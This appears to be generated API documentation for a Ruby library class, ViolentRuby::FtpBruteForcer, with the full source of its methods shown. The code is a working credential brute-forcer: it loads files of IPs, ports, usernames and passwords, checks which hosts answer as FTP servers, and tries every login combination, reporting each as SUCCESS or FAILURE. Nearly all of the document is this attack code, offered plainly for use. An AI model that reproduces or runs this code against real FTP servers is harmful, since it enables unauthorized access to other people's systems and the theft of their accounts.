Class: ViolentRuby::FtpBruteForcer
- Inherits:
-
Object
- Object
- ViolentRuby::FtpBruteForcer
- Defined in:
- lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb
Overview
The Ftp Brute Forcer class provides a simply way to brute-force an FTP server’s credentials.
Instance Attribute Summary collapse
Instance Method Summary collapse
-
#able_to_login?(args = {}) ⇒ Boolean
Check if a given IP address, port, username and passwords are correct to login.
-
#brute_force(args = {}) ⇒ Object
(also: #brute_force!)
Brute force some’a dem FTP login credz.
-
#connectable?(args = {}) ⇒ Boolean
Check if a given IP address and port can connceted to.
-
#initialize(args = {}) ⇒ FtpBruteForcer
constructor
Create a new Ftp Brute Forcer.
Constructor Details
#initialize(args = {}) ⇒ FtpBruteForcer
Create a new Ftp Brute Forcer.
35 36 37 38 39 40 41 |
# File 'lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb', line 35 def initialize(args = {}) @users = args[:users] if args[:users] && File.readable?(args[:users]) @passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords]) @ips = args[:ips] if args[:ips] && File.readable?(args[:ips]) @ports = args[:ports] if args[:ports] && File.readable?(args[:ports]) @ftp = Net::FTP.new end |
Instance Attribute Details
#ips ⇒ Object
24 25 26 |
# File 'lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb', line 24 def ips @ips end |
#passwords ⇒ Object
22 23 24 |
# File 'lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb', line 22 def passwords @passwords end |
#ports ⇒ Object
26 27 28 |
# File 'lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb', line 26 def ports @ports end |
#users ⇒ Object
20 21 22 |
# File 'lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb', line 20 def users @users end |
Instance Method Details
#able_to_login?(args = {}) ⇒ Boolean
Check if a given IP address, port, username and passwords are correct to login.
102 103 104 105 106 107 108 109 110 111 112 113 |
# File 'lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb', line 102 def able_to_login?(args = {}) @ftp.connect(args[:ip], args[:port]) @ftp.login(args[:username], args[:password]) if @ftp.welcome == "230 Login successful.\n" @ftp.close return true end ftp_login.quit false rescue false end |
#brute_force(args = {}) ⇒ Object Also known as: brute_force!
Brute force some’a dem FTP login credz.
50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
# File 'lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb', line 50 def brute_force(args = {}) meets_our_requirements?(args) results = [] ips = args[:ips] || @ips ports = args[:ports] || @ports users = args[:users] || @users passwords = args[:passwords] || @passwords iterate_over(ips).each do |ip| iterate_over(ports).each do |port| next unless connectable?(ip: ip, port: port) iterate_over(users).each do |user| iterate_over(passwords).each do |password| if able_to_login?(ip: ip, port: port, username: user, password: password) result = format_result("SUCCESS", ip, port, user, password) else result = format_result("FAILURE", ip, port, user, password) end results << result yield result if block_given? end end end end results end |
#connectable?(args = {}) ⇒ Boolean
Check if a given IP address and port can connceted to.
85 86 87 88 89 90 91 |
# File 'lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb', line 85 def connectable?(args = {}) @ftp.connect(args[:ip], args[:port]) return true if @ftp.last_response_code == "220" false rescue false end |